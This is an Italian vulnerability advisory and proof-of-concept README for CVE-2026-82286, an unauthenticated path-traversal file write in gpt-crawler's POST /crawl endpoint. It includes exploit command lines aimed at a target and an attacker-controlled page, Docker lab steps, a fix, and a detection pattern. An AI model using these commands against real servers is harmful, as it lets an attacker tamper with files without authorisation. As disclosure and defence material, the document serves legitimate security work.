
CVE-2026-82286 — gpt-crawler <=1.5.1 scrittura arbitraria di file non autenticata tramite outputFileName (POST /crawl). PoC + laboratorio Docker autonomo. CVSS 8.6, CWE-22.
Proof-of-concept per una scrittura arbitraria di file non autenticata in
BuilderIO/gpt-crawler (≈22k ★) tramite il
parametro outputFileName dell'endpoint API POST /crawl.
| CVE | CVE-2026-82286 |
| Prodotto | gpt-crawler (BuilderIO) |
| Versioni interessate | <= 1.5.1 (ultima release; anche HEAD del branch predefinito è interessato) |
| Classe | Path Traversal / Scrittura Arbitraria di File (CWE-22, CWE-73) |
| CVSS 3.1 | 8.6 — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L (ALTO) |
| Autenticazione | Nessuna (non autenticata) |
| Precondizione | Server API in esecuzione (npm run start:server) |
| Stato | CONFERMATO end-to-end (non corretto al 2026-08-29) |
Il server API (src/server.ts) espone POST /crawl senza alcuna autenticazione. Il corpo
JSON viene analizzato direttamente nella Config del crawler; outputFileName viene validato
solo come z.string() — non esiste alcun vincolo sul percorso:
// src/config.ts
outputFileName: z.string(),
In src/core.ts, write() costruisce il percorso di output direttamente da quella stringa
controllata dall'attaccante e chiama fs.writeFile() su di esso:
// src/core.ts (write)
const nextFileName = (): string =>
`${config.outputFileName.replace(/\.json$/, "")}-${fileCounter}.json`;
...
await writeFile(nextFileNameString, JSON.stringify(currentResults, null, 2));
Un attaccante remoto e non autenticato controlla quindi il percorso completo di un file
scritto al di fuori dell'area di output prevista storage/ — tramite un percorso assoluto
(/tmp/x, /home/<user>/x) o una traversal ../. Il contenuto del file è il risultato
del crawl [{title,url,html}], i cui campi provengono da una pagina a cui l'attaccante
indirizza il crawler (imposta url su un server che controlli), quindi il contenuto è
influenzabile dall'attaccante.
L'unico vincolo è il suffisso forzato -<N>.json (il nome termina sempre con .json) e il
wrapper di contenuto JSON-array — motivo per cui questo è classificato come scrittura
arbitraria di file (I:H), non come RCE pulita.
python3 exploit.py \
-t http://TARGET:3000 \
-u http://ATTACKER:8081/index.html \ # pagina il cui contenuto finisce nel file scritto
-o /home/myuser/PWNED # -> scrive /home/myuser/PWNED-1.json
L'endpoint riflette il contenuto del file scritto nella risposta HTTP. La prova empirica è
il file che appare nel percorso scelto dall'attaccante sul filesystem di destinazione (vedi EVIDENCE.txt).
cd lab && ./run.sh
python3 ../exploit.py -t http://127.0.0.1:3000 -u http://127.0.0.1:8081/index.html -o /tmp/PWNED
docker exec gptc-vuln cat /tmp/PWNED-1.json # <- scritto fuori da storage/, non autenticato
Teardown: docker rm -f gptc-vuln; pkill -f 'http.server 8081'.
Un attaccante di rete non autenticato può creare o sovrascrivere file in percorsi arbitrari
(soggetti ai permessi dell'utente del processo e al suffisso -<N>.json) con contenuto
parzialmente controllato dall'attaccante. A seconda della distribuzione, ciò consente di
manomettere file di configurazione/dati, sovrascrivere lo stato dell'applicazione
(integrità/disponibilità) e, su target che successivamente consumano un file *.json
scritto, può essere concatenato ulteriormente.
Il sink è raggiungibile solo nella modalità server API (src/server.ts, avviato tramite
npm run start:server / la distribuzione containerapp), non nella modalità CLI predefinita.
Il server si lega a API_HOST (predefinito localhost); le distribuzioni reali che espongono
l'API lo impostano su 0.0.0.0 (come fa l'immagine containerapp), rendendo l'endpoint
raggiungibile da remoto.
outputFileName rispetto a una directory base fissa e rifiuta il risultato se ne
esce (path.resolve(base, name) + controllo del prefisso); rimuovi .. e percorsi assoluti.POST /crawl.Cerca corpi di richieste POST /crawl il cui outputFileName contenga /, \ o .., e
file *-1.json che appaiono al di fuori della directory storage/ del crawler.
Ricerca & PoC: Caio Fabrício (BiiTts).